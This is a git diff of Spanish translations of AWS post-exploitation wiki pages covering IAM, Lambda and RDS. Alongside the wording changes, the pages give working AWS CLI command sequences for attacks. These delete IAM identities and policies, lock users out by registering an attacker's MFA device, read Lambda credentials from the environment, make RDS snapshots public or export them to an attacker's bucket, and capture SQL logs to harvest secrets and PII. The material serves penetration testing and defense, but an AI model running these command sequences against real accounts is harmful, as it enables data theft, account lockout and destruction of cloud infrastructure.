aws iam delete-user \
|
||||
@@ -115,7 +115,7 @@ aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Con cualquiera de los siguientes permisos — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un actor puede eliminar o desvincular políticas administradas/en línea, eliminar versiones de políticas o límites de permisos, y desvincular políticas de usuarios, grupos o roles. Esto destruye autorizaciones y puede alterar el modelo de permisos, provocando pérdida inmediata de acceso o denegación de servicio para las entidades que dependían de esas políticas, por lo que estas acciones de IAM deben estar fuertemente restringidas y monitorizadas.
|
||||
Con cualquiera de los siguientes permisos — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un actor puede eliminar o desvincular políticas administradas/inline, eliminar versiones de políticas o permissions boundaries, y desvincular políticas de usuarios, grupos o roles. Esto destruye autorizaciones y puede alterar el modelo de permisos, provocando pérdida inmediata de acceso o denegación de servicio para los principals que dependían de esas políticas, por lo que estas acciones de IAM deben restringirse y supervisarse estrictamente.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -128,7 +128,7 @@ aws iam delete-role-policy \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Eliminación de identidad federada
|
||||
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` y `iam:RemoveClientIDFromOpenIDConnectProvider`, un actor puede eliminar proveedores de identidad OIDC/SAML o eliminar client IDs. Esto interrumpe la autenticación federada, impidiendo la validación de tokens y denegando inmediatamente el acceso a usuarios y servicios que dependen de SSO hasta que el IdP o las configuraciones se restablezcan.
|
||||
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, y `iam:RemoveClientIDFromOpenIDConnectProvider`, un actor puede eliminar proveedores de identidad OIDC/SAML o eliminar client IDs. Esto rompe la autenticación federada, impidiendo la validación de tokens y denegando inmediatamente el acceso a usuarios y servicios que dependen de SSO hasta que el IdP o las configuraciones se restablezcan.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -138,8 +138,8 @@ aws iam delete-open-id-connect-provider \
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Activación no autorizada de MFA
|
||||
Con `iam:EnableMFADevice`, un atacante puede registrar un dispositivo MFA en la identidad de un usuario, impidiendo que el usuario legítimo inicie sesión. Una vez que se habilita un MFA no autorizado, el usuario puede quedar bloqueado hasta que el dispositivo sea eliminado o restablecido (nota: si se registran múltiples dispositivos MFA, iniciar sesión requiere solo uno, por lo que este ataque no tendrá efecto para negar el acceso).
|
||||
### Illegitimate MFA Activation
|
||||
Con `iam:EnableMFADevice`, un actor puede registrar un dispositivo MFA en la identidad de un usuario, impidiendo que el usuario legítimo inicie sesión. Una vez que se habilita un MFA no autorizado, el usuario puede quedar bloqueado hasta que el dispositivo sea eliminado o restablecido (nota: si se registran múltiples dispositivos MFA, para iniciar sesión solo se requiere uno, por lo que este ataque no tendrá efecto para negar el acceso).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -147,8 +147,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Certificate/Key Metadata Tampering
|
||||
Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un actor puede cambiar el estado o los metadatos de claves públicas y certificados. Al marcar claves/certificados como inactivos o alterar referencias, puede romper la autenticación SSH, invalidar las validaciones X.509/TLS e interrumpir inmediatamente servicios que dependen de esas credenciales, provocando pérdida de acceso o disponibilidad.
|
||||
### Manipulación de metadatos de certificados/clave
|
||||
Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un actor puede cambiar el estado o los metadatos de claves públicas y certificados. Al marcar claves/certificados como inactivos o alterar referencias, puede romper la autenticación SSH, invalidar las validaciones X.509/TLS y interrumpir de inmediato servicios que dependen de esas credenciales, causando pérdida de acceso o disponibilidad.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -161,7 +161,7 @@ aws iam update-server-certificate \
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
El comodín de IAM iam:Delete* otorga la capacidad de eliminar muchos tipos de recursos de IAM —usuarios, roles, grupos, políticas, claves, certificados, dispositivos MFA, versiones de políticas, etc.— y, por lo tanto, tiene un radio de impacto muy alto: un actor al que se le conceda iam:Delete* puede destruir permanentemente identidades, credenciales, políticas y artefactos relacionados, eliminar auditoría/evidencia y provocar interrupciones de servicio u operativas. Algunos ejemplos son
|
||||
El comodín de IAM iam:Delete* otorga la capacidad de eliminar muchos tipos de recursos de IAM—users, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. —y por lo tanto tiene un radio de impacto muy alto: un actor al que se le haya concedido iam:Delete* puede destruir permanentemente identities, credentials, policies y artefactos relacionados, eliminar audit/evidence y causar interrupciones de servicio u operativas. Algunos ejemplos son
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
@@ -174,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
Un actor al que se le conceda la acción `iam:EnableMFADevice` puede registrar un MFA device en una identidad de la cuenta, siempre que el usuario no tuviera ya uno habilitado. Esto puede usarse para interferir con el acceso de un usuario: una vez que un attacker registra un MFA device, el usuario legítimo puede verse impedido de iniciar sesión porque no controla el MFA registrado por el attacker.
|
||||
Un actor con la acción iam:EnableMFADevice puede registrar un dispositivo MFA en una identidad de la cuenta, siempre que el user no tuviera ya uno habilitado. Esto puede usarse para interferir con el acceso de un user: una vez que un attacker registra un dispositivo MFA, el user legítimo puede verse impedido de iniciar sesión porque no controla el MFA registrado por el attacker.
|
||||
|
||||
Este ataque de denegación de acceso solo funciona si el usuario no tenía ningún MFA registrado; si el attacker registra un MFA device para ese usuario, el usuario legítimo quedará bloqueado en cualquier flujo que requiera ese nuevo MFA. Si el usuario ya tiene uno o más MFA devices bajo su control, añadir un MFA controlado por el attacker no bloquea al usuario legítimo — este puede seguir autenticándose usando cualquier MFA que ya posea.
|
||||
Este ataque de denegación de acceso solo funciona si el user no tenía registrado ningún MFA; si el attacker registra un dispositivo MFA para ese user, el user legítimo quedará bloqueado en cualquier flujo que requiera ese nuevo MFA. Si el user ya tiene uno o más dispositivos MFA bajo su control, añadir un MFA controlado por el attacker no bloquea al user legítimo: puede seguir autenticándose usando cualquier MFA que ya tenga.
|
||||
|
||||
Para habilitar (registrar) un MFA device para un usuario, un attacker podría ejecutar:
|
||||
Para habilitar (registrar) un dispositivo MFA para un user un attacker podría ejecutar:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
|
||||
@@ -4,27 +4,27 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
### Exfiltrar credenciales de Lambda
|
||||
|
||||
Lambda usa variables de entorno para inyectar credentials en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la función vulnerable misma), puedes usarlas tú mismo. Se almacenan en los nombres de variable por defecto `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
Lambda usa variables de entorno para inyectar credenciales en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la propia función vulnerable), puedes utilizarlas tú mismo. Se almacenan en los nombres de variable por defecto `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` y `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Por defecto, estas tendrán acceso para escribir en un cloudwatch log group (cuyo nombre se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear log groups arbitrarios; sin embargo, las lambda functions con frecuencia tienen más permisos asignados según su uso previsto.
|
||||
Por defecto, estas tendrán acceso para escribir en un cloudwatch log group (cuyo nombre se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear log groups arbitrarios; sin embargo, las funciones de Lambda frecuentemente tienen más permisos asignados según su uso previsto.
|
||||
|
||||
### `lambda:Delete*`
|
||||
Un atacante al que se le otorgue `lambda:Delete*` puede eliminar Lambda functions, versions/aliases, layers, event source mappings y otras configuraciones asociadas.
|
||||
Un atacante al que se le conceda lambda:Delete* puede eliminar funciones de Lambda, versiones/alias, layers, event source mappings y otras configuraciones asociadas.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
Si un atacante de alguna manera logra obtener RCE dentro de una Lambda podrá robar las solicitudes HTTP de otros usuarios a la Lambda. Si las solicitudes contienen información sensible (cookies, credentials...) podrá exfiltrarlas.
|
||||
Si un atacante de alguna manera logra obtener RCE dentro de una Lambda, podrá robar las solicitudes HTTP de otros usuarios dirigidas a la Lambda. Si las solicitudes contienen información sensible (cookies, credenciales...) podrá exfiltrarlas.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
@@ -40,7 +40,7 @@ Abusando de Lambda Layers también es posible abusar de extensions y persistir e
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Forzar que una función Lambda salga de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando acceso saliente a internet y eludiendo los controles de egress aplicados por subredes privadas de la VPC sin NAT.
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -48,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abusa de `lambda:PutRuntimeManagementConfig` para pin a una función a una versión específica del runtime (Manual) o congelar actualizaciones (FunctionUpdate). Esto preserva compatibilidad con layers/wrappers maliciosos y puede mantener la función en un runtime obsoleto y vulnerable para facilitar la explotación y la persistencia a largo plazo.
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -56,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abusa de `lambda:UpdateFunctionConfiguration` y de los controles avanzados de logging para redirigir los logs de una función a un log group de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el execution role (la mayoría de roles de Lambda ya incluyen `logs:CreateLogGroup/CreateLogStream/PutLogEvents` mediante `AWSLambdaBasicExecutionRole`). Si la función imprime secrets/request bodies o se bloquea con stack traces, puedes recopilarlos desde el nuevo log group.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -64,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Convierte una Lambda Function URL privada en un endpoint público no autenticado cambiando el Function URL AuthType a NONE y adjuntando una resource-based policy que otorgue lambda:InvokeFunctionUrl a todo el mundo. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend.
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -72,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Abusa de `UpdateEventSourceMapping` para cambiar la función Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una función controlada por el atacante. Esto desvía silenciosamente datos en vivo sin tocar a los productores ni el código de la función original.
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -80,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Abusa de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego despliega código trivial que liste/lea archivos desde la ruta montada para exfiltrar secrets/config compartidos a los que la función previamente no podía acceder.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Para más información consulta:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Si el atacante tiene suficientes permisos, podría hacer que una **DB accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente desde ese snapshot.
|
||||
Si el atacante tiene permisos suficientes, podría hacer que una **DB accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente desde ese snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,9 +39,9 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Un atacante con rds:StopDBCluster o rds:StopDBInstance puede forzar la detención inmediata de una instancia RDS o de un clúster completo, causando indisponibilidad de la base de datos, conexiones interrumpidas e interrupción de procesos que dependen de la base de datos.
|
||||
Un atacante con rds:StopDBCluster o rds:StopDBInstance puede forzar la detención inmediata de una instancia de RDS o de un clúster entero, provocando la indisponibilidad de la base de datos, conexiones interrumpidas y la interrupción de procesos que dependen de la base de datos.
|
||||
|
||||
Para detener una sola instancia DB (ejemplo):
|
||||
Para detener una sola DB instance (ejemplo):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
@@ -53,7 +53,7 @@ aws rds stop-db-cluster \
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Un atacante a quien se le otorgue `rds:Delete*` puede eliminar recursos de RDS, borrando instancias de DB, clústeres, instantáneas, copias de seguridad automatizadas, grupos de subred, grupos de parámetros/opciones y artefactos relacionados, causando una interrupción inmediata del servicio, pérdida de datos, destrucción de puntos de recuperación y pérdida de evidencia forense.
|
||||
Un atacante al que se le conceda `rds:Delete*` puede eliminar recursos de RDS, borrando instancias de DB, clústeres, instantáneas, copias de seguridad automatizadas, grupos de subredes, grupos de parámetros/opciones y artefactos relacionados, provocando una interrupción inmediata del servicio, pérdida de datos, destrucción de puntos de recuperación y pérdida de evidencia forense.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +76,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **públicamente** **disponible**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot.
|
||||
Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **disponible** **públicamente**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot.
|
||||
|
||||
Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer que **otros** snapshots creados sean **públicos**.
|
||||
Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer **públicos** otros snapshots creados.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,15 +89,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de log de una instancia RDS**. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría utilizar esta información para escalar privilegios o realizar acciones no autorizadas.
|
||||
Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia de RDS**. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría usar esta información para escalar sus privilegios o realizar acciones no autorizadas.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Impacto potencial**: Acceso a información sensible o acciones no autorizadas mediante leaked credentials.
|
||||
**Impacto potencial**: Acceso a información sensible o acciones no autorizadas usando leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Un atacante con estos permisos puede **DoS instancias RDS existentes**.
|
||||
Un atacante con estos permisos puede **hacer DoS a instancias RDS existentes**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
@@ -109,23 +109,23 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
|
||||
> [!NOTE]
|
||||
> TODO: Probar
|
||||
|
||||
Un attacker con este permiso puede **exportar un snapshot de instancia RDS a un S3 bucket**. Si el attacker controla el S3 bucket de destino, podría acceder potencialmente a datos sensibles dentro del snapshot exportado.
|
||||
Un atacante con este permiso puede **exportar un snapshot de una instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, potencialmente puede acceder a datos sensibles dentro del snapshot exportado.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impacto potencial**: Acceso a datos sensibles en el snapshot exportado.
|
||||
|
||||
### Replicación de copias de seguridad automatizadas entre Regiones para restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Replicación entre regiones de backups automáticos para restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abusar de la replicación de copias de seguridad automatizadas entre Regiones para duplicar silenciosamente las copias de seguridad automatizadas de una instancia RDS en otra Región de AWS y restaurarlas allí. El atacante puede entonces hacer que la BD restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorizar.
|
||||
Abusar de la replicación entre regiones de backups automáticos para duplicar silenciosamente los backups automáticos de una instancia RDS en otra Región de AWS y restaurarlos allí. El atacante puede entonces hacer que la DB restaurada sea públicamente accesible y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorear.
|
||||
|
||||
Permisos necesarios (mínimos):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
Permisos necesarios (mínimo):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` en la Región de destino
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` en la Región de destino
|
||||
- `rds:RestoreDBInstanceToPointInTime` en la Región de destino
|
||||
- `rds:ModifyDBInstance` en la Región de destino
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (limpieza opcional)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para exponer la DB restaurada)
|
||||
|
||||
Impacto: Persistencia y exfiltración de datos al restaurar una copia de los datos de producción en otra Región y exponerla públicamente con credenciales controladas por el atacante.
|
||||
|
||||
@@ -199,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Habilitar logging completo de SQL mediante grupos de parámetros de DB y exfiltrar a través de RDS log APIs
|
||||
### Habilitar el registro completo de SQL mediante DB parameter groups y exfiltrar vía RDS log APIs
|
||||
|
||||
Abusar de `rds:ModifyDBParameterGroup` junto con las RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del DB engine). Habilitar el SQL logging del engine y descargar los archivos de log vía `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar consultas que puedan contener secretos/PII/JWTs.
|
||||
Abusar de `rds:ModifyDBParameterGroup` con las RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del DB engine). Habilitar el engine SQL logging y extraer los archivos de log mediante `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar queries que pueden contener secrets/PII/JWTs.
|
||||
|
||||
Permisos necesarios (mínimo):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (solo para adjuntar un grupo de parámetros personalizado si la instancia está usando el predeterminado)
|
||||
- `rds:RebootDBInstance` (para parámetros que requieren reinicio, p. ej., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (solo para adjuntar un parameter group personalizado si la instancia está usando el por defecto)
|
||||
- `rds:RebootDBInstance` (para parámetros que requieren reboot, p. ej., PostgreSQL)
|
||||
|
||||
Pasos
|
||||
1) Recon el objetivo y el grupo de parámetros actual
|
||||
1) Recon del target y del parameter group actual
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Asegúrate de que se adjunte un grupo de parámetros de DB personalizado (no se puede editar el predeterminado)
|
||||
- Si la instancia ya usa un grupo personalizado, reutiliza su nombre en el siguiente paso.
|
||||
- De lo contrario, crea y adjunta uno que coincida con la familia del motor:
|
||||
2) Asegúrate de que esté adjunto un DB parameter group personalizado (no se puede editar el predeterminado)
|
||||
- Si la instancia ya utiliza un grupo personalizado, reutiliza su nombre en el siguiente paso.
|
||||
- En caso contrario, crea y adjunta uno que coincida con la familia del engine:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -232,7 +232,7 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Habilitar registro SQL detallado
|
||||
3) Habilitar el registro SQL detallado
|
||||
- MySQL engines (inmediato / sin reinicio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -244,7 +244,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- Motores PostgreSQL (requiere reinicio):
|
||||
- PostgreSQL engines (requiere reinicio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,11 +256,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Deja que la carga de trabajo se ejecute (o genera queries). Las sentencias se escribirán en los engine file logs
|
||||
4) Deja que la carga de trabajo se ejecute (o genera consultas). Las sentencias se escribirán en los logs de archivos del engine
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Descubre y descarga logs (no DB creds required)
|
||||
5) Descubre y descarga los logs (no DB creds required)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -271,7 +271,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analizar offline en busca de datos sensibles
|
||||
6) Analizar fuera de línea en busca de datos sensibles
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -297,11 +297,11 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impacto: Post-exploitation acceso a datos al capturar todas las sentencias SQL de la aplicación vía AWS APIs (no DB creds), potencialmente leaking secretos, JWTs y PII.
|
||||
Impacto: Post-exploitation acceso a datos capturando todas las sentencias SQL de la aplicación a través de AWS APIs (no DB creds), potencialmente leaking secrets, JWTs y PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusar de RDS read replicas para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una read replica a partir de una instancia de producción, resetear la master password de la replica (esto no cambia la primaria) y, opcionalmente, exponer la replica públicamente para exfiltrate datos.
|
||||
Abusar de RDS read replicas para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una read replica a partir de una instancia de producción, restablecer la contraseña maestra de la réplica (esto no cambia la instancia primaria), y opcionalmente exponer la réplica públicamente para exfiltrar datos.
|
||||
|
||||
Permisos necesarios (mínimo):
|
||||
- `rds:DescribeDBInstances`
|
||||
@@ -309,7 +309,7 @@ Permisos necesarios (mínimo):
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (si se expone públicamente)
|
||||
|
||||
Impacto: Acceso de solo lectura a datos de producción vía una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la instancia primaria permanece intacta y la replicación continúa.
|
||||
Impacto: Acceso de solo lectura a datos de producción a través de una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la instancia primaria permanece intacta y la replicación continúa.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -340,13 +340,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Ejemplo de evidencia (MySQL):
|
||||
- Estado de la réplica DB: `available`, replicación de lectura: `replicating`
|
||||
Evidencia de ejemplo (MySQL):
|
||||
- Estado de la DB de réplica: `available`, replicación de lectura: `replicating`
|
||||
- Conexión exitosa con la nueva contraseña y `@@read_only=1` confirmando acceso de solo lectura a la réplica.
|
||||
|
